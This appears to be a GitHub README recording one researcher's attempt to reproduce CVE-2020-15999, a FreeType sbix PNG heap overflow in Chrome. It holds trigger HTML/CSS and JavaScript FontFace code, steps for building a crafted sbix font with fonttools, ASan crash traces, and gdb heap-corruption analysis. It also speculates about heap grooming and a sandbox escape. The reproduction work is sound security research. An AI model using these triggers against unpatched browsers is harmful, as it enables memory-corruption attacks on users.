marcinguy / CVE-2020-15999

CVE-2020-15999

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

CVE-2020-15999

CVE-2020-15999

Added font with SBIX table (based on Arial) - https://docs.microsoft.com/en-us/typography/opentype/spec/sbix

Crashes in ftview (asan.png) but somehow cannot bring Chrome to crash

Flags are also not correctly set so load_sbit_image() is also not called. Weird.

Calling it like this:

index.html

<html>
    <head>
        
        <link rel="stylesheet" href="style.css" type="text/css" media="all" />
        
        <style>

            .sample {
                font-family: 'UntitledTTF';
                border: 1px solid #ddd;
                display: inline-block;
                padding: 10px;
            }
        </style>
    </head>
    <body>

        <p class="sample">
            The quick brown fox jumps over the lazy dog
        </p>

    </body>
</html>

stlye.css

@font-face {
  font-family: "UntitledTTF";
  src: url("./fonts/font.eot"); /* IE9 Compat Modes */
  src: url("./fonts/font.eot?#iefix") format("embedded-opentype"), /* IE6-IE8 */
    url("./fonts/font.svg") format("svg"), /* Legacy iOS */
    url("./fonts/arialnew.ttf.sbix.ttf") format("truetype"), /* Safari, Android, iOS */
    url("./fonts/font.woff") format("woff"), /* Modern Browsers */
    url("./fonts/font.woff2") format("woff2"); /* Modern Browsers */
  font-weight: normal;
  font-style: normal;
}
.adjust {
    font-size-adjust: 2;
}

Maybe somebody knows how to tigger it, has more luck. If not I will wait for writeup from Google.

Update 1

Managed to get Chrome to crash ... had to tune some font params in the debugger, which means you can possibly do it also in the font. Stay tuned. CVE-2020-15999

Update 2

This should trigger it (Google PoC). I see font is loaded via JavaScript, so differently than my attempt:

https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=472035

Will debug it as I have time...

Update 3

Did all the prior debugging with Chromium, seems like the codebase differ then. That could explain a ot.

With Chrome, PoC from Google works: https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=472398

With Chromium does not.

Seems like it stops at several checks. If I set them to pass, it then crashes with all PoCs:

Received signal 11 SEGV_MAPERR 000000000000
    #0 0x55555d7ace0b in backtrace /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:4176:13
    #1 0x7ffff796c8df in base::debug::CollectStackTrace(void**, unsigned long) ./../../base/debug/stack_trace_posix.cc:833:39
    #2 0x7ffff7247239 in base::debug::StackTrace::StackTrace(unsigned long) ./../../base/debug/stack_trace.cc:198:12
    #3 0x7ffff7247098 in base::debug::StackTrace::StackTrace() ./../../base/debug/stack_trace.cc:195:28
    #4 0x7ffff796ae6d in base::debug::(anonymous namespace)::StackDumpSignalHandler(int, siginfo_t*, void*) ./../../base/debug/stack_trace_posix.cc:345:3
    #5 0x7fff555c48a0 in __funlockfile ??:?
    #6 0x7fff555c48a0 in ?? ??:0
    #7 0x7fff51cfd5ee in ?? /build/glibc-2ORdQG/glibc-2.27/string/../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:277:0
    #8 0x55555d7efca2 in __asan_memcpy /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:22:3
    #9 0x7fffa01df08f in read_data_from_FT_Stream ./../../third_party/freetype/src/src/sfnt/pngshim.c:245:5
    #10 0x7fffa0865f6d in cr_png_read_data ./../../third_party/libpng/pngrio.c:37:7
    #11 0x7fffa08927b0 in cr_png_read_sig ./../../third_party/libpng/pngrutil.c:137:4
    #12 0x7fffa0852e02 in cr_png_read_info ./../../third_party/libpng/pngread.c:104:4
    #13 0x7fffa01dd6a3 in Load_SBit_Png ./../../third_party/freetype/src/src/sfnt/pngshim.c:322:5
    #14 0x7fffa01d9440 in tt_face_load_sbix_image ./../../third_party/freetype/src/src/sfnt/ttsbit.c:1548:15
    #15 0x7fffa01aa6d7 in tt_face_load_sbit_image ./../../third_party/freetype/src/src/sfnt/ttsbit.c:1611:15
    #16 0x7fffa0246ddb in load_sbit_image ./../../third_party/freetype/src/src/truetype/ttgload.c:2429:13
    #17 0x7fffa0244f77 in TT_Load_Glyph ./../../third_party/freetype/src/src/truetype/ttgload.c:2834:15
    #18 0x7fffa020467e in tt_glyph_load ./../../third_party/freetype/src/src/truetype/ttdriver.c:474:13
    #19 0x7fffa005ff2f in FT_Load_Glyph ./../../third_party/freetype/src/src/base/ftobjs.c:948:15

Update 4

Naah ... all is correct.

To trigger you need to load font via JavaScript, loading via CSS does not work:

i.e


<body>
<script>
font_face = new FontFace('fontname','url("./fonts/font.ttf")');
font_face.load().then(() => {
  document.fonts.add(font_face);
  document.body.style.fontFamily = 'fontname';
  document.body.textContent = 'B';
});
</script> </body>

Font from initial Google PoC works. Below is output from Chromium.

==1==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000189710 at pc 0x7fffa089f49d bp 0x7fff26d6b160 sp 0x7fff26d6b158
WRITE of size 4 at 0x602000189710 thread T8 (CompositorTileW)
    #0 0x7fffa089f49c in cr_png_combine_row ./../../third_party/libpng/pngrutil.c:3580:36
    #1 0x7fffa085567c in cr_png_read_row ./../../third_party/libpng/pngread.c:599:10
    #2 0x7fffa0855dee in cr_png_read_image ./../../third_party/libpng/pngread.c:753:10
    #3 0x7fffa01e36db in Load_SBit_Png ./../../third_party/freetype/src/src/sfnt/pngshim.c:440:5
    #4 0x7fffa01dcb94 in tt_face_load_sbix_image ./../../third_party/freetype/src/src/sfnt/ttsbit.c:1546:15
    #5 0x7fffa01aa5b8 in tt_face_load_sbit_image ./../../third_party/freetype/src/src/sfnt/ttsbit.c:1628:15
    #6 0x7fffa024702a in load_sbit_image ./../../third_party/freetype/src/src/truetype/ttgload.c:2429:13
    #7 0x7fffa02451c6 in TT_Load_Glyph ./../../third_party/freetype/src/src/truetype/ttgload.c:2834:15
    #8 0x7fffa02048cd in tt_glyph_load ./../../third_party/freetype/src/src/truetype/ttdriver.c:474:13
    #9 0x7fffa005fe0e in FT_Load_Glyph ./../../third_party/freetype/src/src/base/ftobjs.c:948:15
    #10 0x7ffff0a3c198 in SkScalerContext_FreeType::generateImage(SkGlyph const&) ./../../third_party/skia/src/ports/SkFontHost_FreeType.cpp:1365:20
    #11 0x7ffff21e5832 in SkScalerContext::getImage(SkGlyph const&) ./../../third_party/skia/src/core/SkScalerContext.cpp:572:9
    #12 0x7ffff1c6fd2c in SkGlyph::setImage(SkArenaAlloc*, SkScalerContext*) ./../../third_party/skia/src/core/SkGlyph.cpp:89:24
    #13 0x7ffff21d28fc in SkScalerCache::prepareImage(SkGlyph*) ./../../third_party/skia/src/core/SkScalerCache.cpp:109:16
    #14 0x7ffff21d7a0e in SkScalerCache::prepareForDrawingMasksCPU(SkDrawableGlyphBuffer*)::$_1::operator()(unsigned long, SkGlyphDigest, SkPoint) const ./../../third_party/skia/src/core/SkScalerCache.cpp:185:45
    #15 0x7ffff21d4903 in unsigned long SkScalerCache::commonFilterLoop<SkScalerCache::prepareForDrawingMasksCPU(SkDrawableGlyphBuffer*)::$_1>(SkDrawableGlyphBuffer*, SkScalerCache::prepareForDrawingMasksCPU(SkDrawableGlyphBuffer*)::$_1&&) ./../../third_party/skia/src/core/SkScalerCache.cpp:171:17
    #16 0x7ffff21d40e5 in SkScalerCache::prepareForDrawingMasksCPU(SkDrawableGlyphBuffer*) ./../../third_party/skia/src/core/SkScalerCache.cpp:181:26
    #17 0x7ffff1c8f82d in SkStrikeCache::Strike::prepareForDrawingMasksCPU(SkDrawableGlyphBuffer*) ./../../third_party/skia/src/core/SkStrikeCache.h:103:44
    #18 0x7ffff1c8b3dd in SkGlyphRunListPainter::drawForBitmapDevice(SkGlyphRunList const&, SkMatrix const&, SkGlyphRunListPainter::BitmapDevicePainter const*) ./../../third_party/skia/src/core/SkGlyphRunPainter.cpp:130:21
    #19 0x7ffff1be0437 in SkDraw::drawGlyphRunList(SkGlyphRunList const&, SkGlyphRunListPainter*) const ./../../third_party/skia/src/core/SkDraw_text.cpp:135:19
    #20 0x7ffff1a7bf87 in SkBitmapDevice::drawGlyphRunList(SkGlyphRunList const&) ./../../third_party/skia/src/core/SkBitmapDevice.cpp:549:5
    #21 0x7ffff1c827aa in SkGlyphRunBuilder::drawTextBlob(SkPaint const&, SkTextBlob const&, SkPoint, SkBaseDevice*) ./../../third_party/skia/src/core/SkGlyphRun.cpp:202:17
    #22 0x7ffff1b17e83 in SkCanvas::onDrawTextBlob(SkTextBlob const*, float, float, SkPaint const&) ./../../third_party/skia/src/core/SkCanvas.cpp:2616:34
    #23 0x7ffff1b18aef in SkCanvas::drawTextBlob(SkTextBlob const*, float, float, SkPaint const&) ./../../third_party/skia/src/core/SkCanvas.cpp:2650:11
    #24 0x7fffee7f245f in cc::DrawTextBlobOp::RasterWithFlags(cc::DrawTextBlobOp const*, cc::PaintFlags const*, SkCanvas*, cc::PlaybackParams const&)::$_111::operator()(SkCanvas*, SkPaint const&) const ./../../cc/paint/paint_op_buffer.cc:1629:8
    #25 0x7fffee7d4b92 in void cc::PaintFlags::DrawToSk<cc::DrawTextBlobOp::RasterWithFlags(cc::DrawTextBlobOp const*, cc::PaintFlags const*, SkCanvas*, cc::PlaybackParams const&)::$_111>(SkCanvas*, cc::DrawTextBlobOp::RasterWithFlags(cc::DrawTextBlobOp const*, cc::PaintFlags const*, SkCanvas*, cc::PlaybackParams const&)::$_111) const ./../../cc/paint/paint_flags.h:168:7
    #26 0x7fffee7d4842 in cc::DrawTextBlobOp::RasterWithFlags(cc::DrawTextBlobOp const*, cc::PaintFlags const*, SkCanvas*, cc::PlaybackParams const&) ./../../cc/paint/paint_op_buffer.cc:1628:10
    #27 0x7fffee805fa5 in cc::Rasterizer<cc::DrawTextBlobOp, true>::RasterWithFlags(cc::DrawTextBlobOp const*, cc::PaintFlags const*, SkCanvas*, cc::PlaybackParams const&) ./../../cc/paint/paint_op_buffer.cc:135:5
    #28 0x7fffee7ea003 in cc::$_47::operator()(cc::PaintOp const*, cc::PaintFlags const*, SkCanvas*, cc::PlaybackParams const&) const ./../../cc/paint/paint_op_buffer.cc:170:51
    #29 0x7fffee7e9fbc in cc::$_47::__invoke(cc::PaintOp const*, cc::PaintFlags const*, SkCanvas*, cc::PlaybackParams const&) ./../../cc/paint/paint_op_buffer.cc:170:51
    #30 0x7fffee7e1670 in cc::PaintOpWithFlags::RasterWithFlags(SkCanvas*, cc::PaintFlags const*, cc::PlaybackParams const&) const ./../../cc/paint/paint_op_buffer.cc:2402:3
    #31 0x7fffee7e55a6 in cc::PaintOpBuffer::Playback(SkCanvas*, cc::PlaybackParams const&, std::__Cr::vector<unsigned long, std::__Cr::allocator<unsigned long> > const*) const ./../../cc/paint/paint_op_buffer.cc:2803:19
    #32 0x7fffee7d15a8 in cc::PaintOpBuffer::Playback(SkCanvas*, cc::PlaybackParams const&) const ./../../cc/paint/paint_op_buffer.cc:2663:3
    #33 0x7fffee7d3afd in cc::DrawRecordOp::Raster(cc::DrawRecordOp const*, SkCanvas*, cc::PlaybackParams const&) ./../../cc/paint/paint_op_buffer.cc:1595:15
    #34 0x7fffee801285 in cc::Rasterizer<cc::DrawRecordOp, false>::Raster(cc::DrawRecordOp const*, SkCanvas*, cc::PlaybackParams const&) ./../../cc/paint/paint_op_buffer.cc:122:5
    #35 0x7fffee7e905b in cc::$_14::operator()(cc::PaintOp const*, SkCanvas*, cc::PlaybackParams const&) const ./../../cc/paint/paint_op_buffer.cc:156:64
    #36 0x7fffee7e9024 in cc::$_14::__invoke(cc::PaintOp const*, SkCanvas*, cc::PlaybackParams const&) ./../../cc/paint/paint_op_buffer.cc:156:64
    #37 0x7fffee7de2d1 in cc::PaintOp::Raster(SkCanvas*, cc::PlaybackParams const&) const ./../../cc/paint/paint_op_buffer.cc:2171:3
    #38 0x7fffee7e56de in cc::PaintOpBuffer::Playback(SkCanvas*, cc::PlaybackParams const&, std::__Cr::vector<unsigned long, std::__Cr::allocator<unsigned long> > const*) const ./../../cc/paint/paint_op_buffer.cc:2806:11
    #39 0x7fffee6f85dd in cc::DisplayItemList::Raster(SkCanvas*, cc::ImageProvider*) const ./../../cc/paint/display_item_list.cc:100:20
    #40 0x7fffcba5aae9 in cc::RasterSource::PlaybackDisplayListToCanvas(SkCanvas*, cc::ImageProvider*) const ./../../cc/raster/raster_source.cc:127:20
    #41 0x7fffcba5a72a in cc::RasterSource::PlaybackToCanvas(SkCanvas*, gfx::Size const&, gfx::Rect const&, gfx::Rect const&, gfx::AxisTransform2d const&, cc::RasterSource::PlaybackSettings const&) const ./../../cc/raster/raster_source.cc:116:3
    #42 0x7fffcba56bf2 in cc::RasterBufferProvider::PlaybackToMemory(void*, viz::ResourceFormat, gfx::Size const&, unsigned long, cc::RasterSource const*, gfx::Rect const&, gfx::Rect const&, gfx::AxisTransform2d const&, gfx::ColorSpace const&, bool, cc::RasterSource::PlaybackSettings const&) ./../../cc/raster/raster_buffer_provider.cc:107:22
    #43 0x7fffcba48b36 in cc::OneCopyRasterBufferProvider::PlaybackToStagingBuffer(cc::StagingBuffer*, cc::RasterSource const*, gfx::Rect const&, gfx::Rect const&, gfx::AxisTransform2d const&, viz::ResourceFormat, gfx::ColorSpace const&, cc::RasterSource::PlaybackSettings const&, unsigned long, unsigned long) ./../../cc/raster/one_copy_raster_buffer_provider.cc:353:5
    #44 0x7fffcba45be3 in cc::OneCopyRasterBufferProvider::PlaybackAndCopyOnWorkerThread(gpu::Mailbox*, unsigned int, bool, gpu::SyncToken const&, cc::RasterSource const*, gfx::Rect const&, gfx::Rect const&, gfx::AxisTransform2d const&, gfx::Size const&, viz::ResourceFormat, gfx::ColorSpace const&, cc::RasterSource::PlaybackSettings const&, unsigned long, unsigned long) ./../../cc/raster/one_copy_raster_buffer_provider.cc:289:3
    #45 0x7fffcba454f0 in cc::OneCopyRasterBufferProvider::RasterBufferImpl::Playback(cc::RasterSource const*, gfx::Rect const&, gfx::Rect const&, unsigned long, gfx::AxisTransform2d const&, cc::RasterSource::PlaybackSettings const&, GURL const&) ./../../cc/raster/one_copy_raster_buffer_provider.cc:127:39
    #46 0x7fffcbcedfa0 in cc::(anonymous namespace)::RasterTaskImpl::RunOnWorkerThread() ./../../cc/tiles/tile_manager.cc:132:21
    #47 0x7fffe389b124 in content::CategorizedWorkerPool::RunTaskInCategoryWithLockAcquired(cc::TaskCategory) ./../../content/renderer/categorized_worker_pool.cc:430:28
    #48 0x7fffe3897ede in content::CategorizedWorkerPool::RunTaskWithLockAcquired(std::__Cr::vector<cc::TaskCategory, std::__Cr::allocator<cc::TaskCategory> > const&) ./../../content/renderer/categorized_worker_pool.cc:408:7
    #49 0x7fffe3897b50 in content::CategorizedWorkerPool::Run(std::__Cr::vector<cc::TaskCategory, std::__Cr::allocator<cc::TaskCategory> > const&, base::ConditionVariable*) ./../../content/renderer/categorized_worker_pool.cc:292:10
    #50 0x7fffe389bfe8 in content::(anonymous namespace)::CategorizedWorkerPoolThread::Run() ./../../content/renderer/categorized_worker_pool.cc:75:32
    #51 0x7ffff7891681 in base::SimpleThread::ThreadMain() ./../../base/threading/simple_thread.cc:75:3
    #52 0x7ffff79ff39e in base::(anonymous namespace)::ThreadFunc(void*) ./../../base/threading/platform_thread_posix.cc:87:13
    #53 0x7fff555b96da in start_thread /build/glibc-2ORdQG/glibc-2.27/nptl/pthread_create.c:463:0

0x602000189710 is located 28 bytes to the right of 4-byte region [0x6020001896f0,0x6020001896f4)
allocated by thread T8 (CompositorTileW) here:
    #0 0x55555d7f080d in malloc /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/asan_malloc_linux.cpp:145:3
    #1 0x7ffff0573607 in malloc_throw(unsigned long) ./../../skia/ext/SkMemory_new_handler.cpp:74:64
    #2 0x7ffff05732f8 in sk_malloc_flags(unsigned long, unsigned int) ./../../skia/ext/SkMemory_new_handler.cpp:122:14
    #3 0x7ffff0a44119 in sk_malloc_throw(unsigned long) ./../../third_party/skia/include/private/SkMalloc.h:59:12
    #4 0x7ffff0a2e448 in sk_ft_alloc(FT_MemoryRec_*, long) ./../../third_party/skia/src/ports/SkFontHost_FreeType.cpp:117:16
    #5 0x7fffa00967b9 in ft_mem_qalloc ./../../third_party/freetype/src/src/base/ftutil.c:75:15
    #6 0x7fffa0064b54 in ft_mem_alloc ./../../third_party/freetype/src/src/base/ftutil.c:54:25
    #7 0x7fffa00708d7 in ft_glyphslot_alloc_bitmap ./../../third_party/freetype/src/src/base/ftobjs.c:526:11
    #8 0x7fffa01e32f0 in Load_SBit_Png ./../../third_party/freetype/src/src/sfnt/pngshim.c:426:15
    #9 0x7fffa01dcb94 in tt_face_load_sbix_image ./../../third_party/freetype/src/src/sfnt/ttsbit.c:1546:15
    #10 0x7fffa01aa5b8 in tt_face_load_sbit_image ./../../third_party/freetype/src/src/sfnt/ttsbit.c:1628:15
    #11 0x7fffa024702a in load_sbit_image ./../../third_party/freetype/src/src/truetype/ttgload.c:2429:13
    #12 0x7fffa02451c6 in TT_Load_Glyph ./../../third_party/freetype/src/src/truetype/ttgload.c:2834:15
    #13 0x7fffa02048cd in tt_glyph_load ./../../third_party/freetype/src/src/truetype/ttdriver.c:474:13
    #14 0x7fffa005fe0e in FT_Load_Glyph ./../../third_party/freetype/src/src/base/ftobjs.c:948:15
    #15 0x7ffff0a3c198 in SkScalerContext_FreeType::generateImage(SkGlyph const&) ./../../third_party/skia/src/ports/SkFontHost_FreeType.cpp:1365:20
    #16 0x7ffff21e5832 in SkScalerContext::getImage(SkGlyph const&) ./../../third_party/skia/src/core/SkScalerContext.cpp:572:9
    #17 0x7ffff1c6fd2c in SkGlyph::setImage(SkArenaAlloc*, SkScalerContext*) ./../../third_party/skia/src/core/SkGlyph.cpp:89:24
    #18 0x7ffff21d28fc in SkScalerCache::prepareImage(SkGlyph*) ./../../third_party/skia/src/core/SkScalerCache.cpp:109:16
    #19 0x7ffff21d7a0e in SkScalerCache::prepareForDrawingMasksCPU(SkDrawableGlyphBuffer*)::$_1::operator()(unsigned long, SkGlyphDigest, SkPoint) const ./../../third_party/skia/src/core/SkScalerCache.cpp:185:45
    #20 0x7ffff21d4903 in unsigned long SkScalerCache::commonFilterLoop<SkScalerCache::prepareForDrawingMasksCPU(SkDrawableGlyphBuffer*)::$_1>(SkDrawableGlyphBuffer*, SkScalerCache::prepareForDrawingMasksCPU(SkDrawableGlyphBuffer*)::$_1&&) ./../../third_party/skia/src/core/SkScalerCache.cpp:171:17
    #21 0x7ffff21d40e5 in SkScalerCache::prepareForDrawingMasksCPU(SkDrawableGlyphBuffer*) ./../../third_party/skia/src/core/SkScalerCache.cpp:181:26
    #22 0x7ffff1c8f82d in SkStrikeCache::Strike::prepareForDrawingMasksCPU(SkDrawableGlyphBuffer*) ./../../third_party/skia/src/core/SkStrikeCache.h:103:44
    #23 0x7ffff1c8b3dd in SkGlyphRunListPainter::drawForBitmapDevice(SkGlyphRunList const&, SkMatrix const&, SkGlyphRunListPainter::BitmapDevicePainter const*) ./../../third_party/skia/src/core/SkGlyphRunPainter.cpp:130:21
    #24 0x7ffff1be0437 in SkDraw::drawGlyphRunList(SkGlyphRunList const&, SkGlyphRunListPainter*) const ./../../third_party/skia/src/core/SkDraw_text.cpp:135:19
    #25 0x7ffff1a7bf87 in SkBitmapDevice::drawGlyphRunList(SkGlyphRunList const&) ./../../third_party/skia/src/core/SkBitmapDevice.cpp:549:5
    #26 0x7ffff1c827aa in SkGlyphRunBuilder::drawTextBlob(SkPaint const&, SkTextBlob const&, SkPoint, SkBaseDevice*) ./../../third_party/skia/src/core/SkGlyphRun.cpp:202:17
    #27 0x7ffff1b17e83 in SkCanvas::onDrawTextBlob(SkTextBlob const*, float, float, SkPaint const&) ./../../third_party/skia/src/core/SkCanvas.cpp:2616:34
    #28 0x7ffff1b18aef in SkCanvas::drawTextBlob(SkTextBlob const*, float, float, SkPaint const&) ./../../third_party/skia/src/core/SkCanvas.cpp:2650:11
    #29 0x7fffee7f245f in cc::DrawTextBlobOp::RasterWithFlags(cc::DrawTextBlobOp const*, cc::PaintFlags const*, SkCanvas*, cc::PlaybackParams const&)::$_111::operator()(SkCanvas*, SkPaint const&) const ./../../cc/paint/paint_op_buffer.cc:1629:8

Thread T8 (CompositorTileW) created by T0 (chrome) here:
    #0 0x55555d7dac1a in pthread_create /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/asan_interceptors.cpp:214:3
    #1 0x7ffff79fd55f in base::(anonymous namespace)::CreateThread(unsigned long, bool, base::PlatformThread::Delegate*, base::PlatformThreadHandle*, base::ThreadPriority) ./../../base/threading/platform_thread_posix.cc:126:13
    #2 0x7ffff79fd050 in base::PlatformThread::CreateWithPriority(unsigned long, base::PlatformThread::Delegate*, base::PlatformThreadHandle*, base::ThreadPriority) ./../../base/threading/platform_thread_posix.cc:252:10
    #3 0x7ffff7890a36 in base::SimpleThread::StartAsync() ./../../base/threading/simple_thread.cc:51:13
    #4 0x7fffe3894ca3 in content::CategorizedWorkerPool::Start(int) ./../../content/renderer/categorized_worker_pool.cc:201:13
    #5 0x7fffe3bda67c in content::RenderThreadImpl::Init() ./../../content/renderer/render_thread_impl.cc:721:29
    #6 0x7fffe3bdd9cb in content::RenderThreadImpl::RenderThreadImpl(base::RepeatingCallback<void ()>, std::__Cr::unique_ptr<blink::scheduler::WebThreadScheduler, std::__Cr::default_delete<blink::scheduler::WebThreadScheduler> >) ./../../content/renderer/render_thread_impl.cc:571:3
    #7 0x7fffe3c65d83 in content::RendererMain(content::MainFunctionParams const&) ./../../content/renderer/renderer_main.cc:213:9
    #8 0x7fffe46bf6f6 in content::RunZygote(content::ContentMainDelegate*) ./../../content/app/content_main_runner_impl.cc:498:14
    #9 0x7fffe46c04b6 in content::RunOtherNamedProcessTypeMain(std::__Cr::basic_string<char, std::__Cr::char_traits<char>, std::__Cr::allocator<char> > const&, content::MainFunctionParams const&, content::ContentMainDelegate*) ./../../content/app/content_main_runner_impl.cc:555:12
    #10 0x7fffe46c2e31 in content::ContentMainRunnerImpl::Run(bool) ./../../content/app/content_main_runner_impl.cc:882:10
    #11 0x7fffe46b934d in content::RunContentProcess(content::ContentMainParams const&, content::ContentMainRunner*) ./../../content/app/content_main.cc:372:36
    #12 0x7fffe46baca2 in content::ContentMain(content::ContentMainParams const&) ./../../content/app/content_main.cc:398:10
    #13 0x55555d82317f in ChromeMain ./../../chrome/app/chrome_main.cc:130:12
    #14 0x55555d822d71 in main ./../../chrome/app/chrome_exe_main_aura.cc:17:10
    #15 0x7fff51c63b96 in __libc_start_main /build/glibc-2ORdQG/glibc-2.27/csu/../csu/libc-start.c:310:0

SUMMARY: AddressSanitizer: heap-buffer-overflow (/media/mk/20a08f3b-9772-4ce1-99e1-62ec090ae297/downloads/chromium2/src/out/Default/libfreetype_harfbuzz.so+0xc7949c)
Shadow bytes around the buggy address:
  0x0c0480029290: fa fa fd fd fa fa fd fa fa fa fd fd fa fa fd fa
  0x0c04800292a0: fa fa fd fd fa fa fd fa fa fa fd fd fa fa fd fa
  0x0c04800292b0: fa fa fd fd fa fa fd fd fa fa fd fa fa fa fd fd
  0x0c04800292c0: fa fa fd fa fa fa fd fa fa fa 00 00 fa fa 00 fa
  0x0c04800292d0: fa fa 00 00 fa fa 00 fa fa fa 00 fa fa fa 04 fa
=>0x0c04800292e0: fa fa[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c04800292f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c0480029300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c0480029310: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c0480029320: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c0480029330: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==1==ABORTING

Update 5

Loading via CSS also works. You need to reference correct Glyph.

Update 6

You can generate font with SBIX table and assign it to glyph using: FontTools

https://fonttools.readthedocs.io/en/latest/ttx.html

Example:

ttx -o  arialnew.ttf.sbix.ttf arialnew.ttf.sbix.ttx 
Compiling "arialnew.ttf.sbix.ttx" to "arialnew.ttf.sbix.ttf"...
Parsing 'GlyphOrder' table...
Parsing 'head' table...
Parsing 'hhea' table...
Parsing 'maxp' table...
Parsing 'OS/2' table...
Parsing 'hmtx' table...
Parsing 'LTSH' table...
Parsing 'VDMX' table...
Parsing 'hdmx' table...
Parsing 'cmap' table...
Parsing 'fpgm' table...
Parsing 'prep' table...
Parsing 'cvt ' table...
Parsing 'loca' table...
Parsing 'glyf' table...
Parsing 'kern' table...
Parsing 'name' table...
Parsing 'post' table...
Parsing 'gasp' table...
Parsing 'PCLT' table...
Parsing 'GDEF' table...
Parsing 'GSUB' table...
Parsing 'JSTF' table...
Parsing 'sbix' table...
Parsing 'DSIG' table...

Attached in this repo.

In this way you can create PNG you can groom the heap and do whatever you want to do with it, possibly take the execution flow and escaspe the Sandbox.

BTW Did this just for fun and spent very little time on these between breaks ... a motivated Attacker/Hacker would possibly have an exploit at this point. SO update your browsers folks.

All credits go to original researcher(s) (Google Project Zero, Sergei Glazunov) that found this vulnerability. I only tried to reproduce it based on limited information (before Google made it public)

Update 7

Had some free time to look at it:

FL_NEXT 0x113298c7a5b0
FL_NEXT 0x113200004178

Notice 2 bytes 0000

[Switching to Thread 0x7fffa3756700 (LWP 17787)]

Thread 8 "Chrome_IOThread" hit Breakpoint 4, tcmalloc::(anonymous namespace)::FL_Previous_No_Check (t=0x113200004178) at ../../third_party/tcmalloc/chromium/src/free_list.cc:103
103	  return UnmaskPtr(reinterpret_cast<void**>(t)[1]);
(gdb) bt
#0  0x00007ffff7cfa57c in tcmalloc::(anonymous namespace)::FL_Previous_No_Check(void*) (t=0x113200004178) at ../../third_party/tcmalloc/chromium/src/free_list.cc:103
#1  0x00007ffff7cfa4e2 in tcmalloc::FL_Next(void*) (t=0x11329c261f00) at ../../third_party/tcmalloc/chromium/src/free_list.cc:142
#2  0x00007ffff7d1c2e7 in tcmalloc::ThreadCache::FreeList::Next() (this=0x113297310820) at ../../third_party/tcmalloc/chromium/src/thread_cache.h:232
#3  0x00007ffff7d197e8 in tcmalloc::ThreadCache::Deallocate(void*, unsigned int) (this=0x113297310780, ptr=0x113298e72f50, cl=5) at ../../third_party/tcmalloc/chromium/src/thread_cache.h:408
#4  0x00007ffff7d197e8 in (anonymous namespace)::do_free_with_callback(void*, void (*)(void*), bool, unsigned long) (ptr=0x113298e72f50, invalid_free_fn=0x7ffff7d169b0 <(anonymous namespace)::InvalidFree(void*)>, use_hint=false, size_hint=0) at ../../third_party/tcmalloc/chromium/src/tcmalloc.cc:1535
#5  0x00007ffff7d197e8 in (anonymous namespace)::do_free(void*) (ptr=0x113298e72f50) at ../../third_party/tcmalloc/chromium/src/tcmalloc.cc:1557
#6  0x00007ffff7d197e8 in MallocBlock::ProcessFreeQueue(MallocBlock*, unsigned long, int) (b=0x11329aed6480, size=120, max_free_queue_size=10485760)
    at ../../third_party/tcmalloc/chromium/src/debugallocation.cc:627
^CPython Exception <class 'KeyboardInterrupt'> Quit: 
(gdb) x/10x 0x11329c261f00
0x11329c261f00:	0x00000000	0xffffeece	0x00004178	0xfffffffc
0x11329c261f10:	0xcdcdcdcd	0xcdcdcdcd	0xcdcdcdcd	0xcdcdcdcd
0x11329c261f20:	0x00000000	0xcdcdcdcd

Seems like we overwrote it

(gdb) disass
Dump of assembler code for function tcmalloc::(anonymous namespace)::FL_Previous_No_Check(void*):
   0x00007ffff7cfa570 <+0>:	push   %rbp
   0x00007ffff7cfa571 <+1>:	mov    %rsp,%rbp
   0x00007ffff7cfa574 <+4>:	sub    $0x10,%rsp
   0x00007ffff7cfa578 <+8>:	mov    %rdi,-0x8(%rbp)
   0x00007ffff7cfa57c <+12>:	mov    -0x8(%rbp),%rax
=> 0x00007ffff7cfa580 <+16>:	mov    0x8(%rax),%rdi
   0x00007ffff7cfa584 <+20>:	callq  0x7ffff7cfac00 <tcmalloc::(anonymous namespace)::UnmaskPtr(void*)>
   0x00007ffff7cfa589 <+25>:	add    $0x10,%rsp
   0x00007ffff7cfa58d <+29>:	pop    %rbp
   0x00007ffff7cfa58e <+30>:	retq   
End of assembler dump.
(gdb) 

No idea yet how to expoit it.

Would have to read more about TCmalloc.

Tried also with a tool to dump the internals. Maybe somebody will find it useful. With Chrome I didnt manage:

DM me if you made some progress or know how to "unstuck" me.

Also seems like you need to use PNG with color depth > 16 bit to hit call to memcpy(). But this would be when you know what to do

Update 8

(gdb) source /home/mk/tcmalloc-chromium/tcinspector.py 
THREAD CACHES
[thread 0x7fffa3f58700]
[64(4/88)] (1 objects)
object: 0x267d190ff6c0
[80(5/88)] (1 objects)
object: 0x267d19d0e410
[96(6/88)] (1 objects)
object: 0x267d1921f3c0
[128(8/88)] (1 objects)
object: 0x267d18626d00
[2304(34/88)] (1 objects)
object: 0x267d19184000
[thread 0x7fffa4759700]
[64(4/88)] (1 objects)

(gdb) x/10x 0x267d190ff6c0
0x267d190ff6c0:	0x00004178	0xfffffffc	0x00004178	0xfffffffc
0x267d190ff6d0:	0xcdcdcdcd	0xcdcdcdcd	0xcdcdcdcd	0xcdcdcdcd
0x267d190ff6e0:	0xcdcdcdcd	0xcdcdcdcd
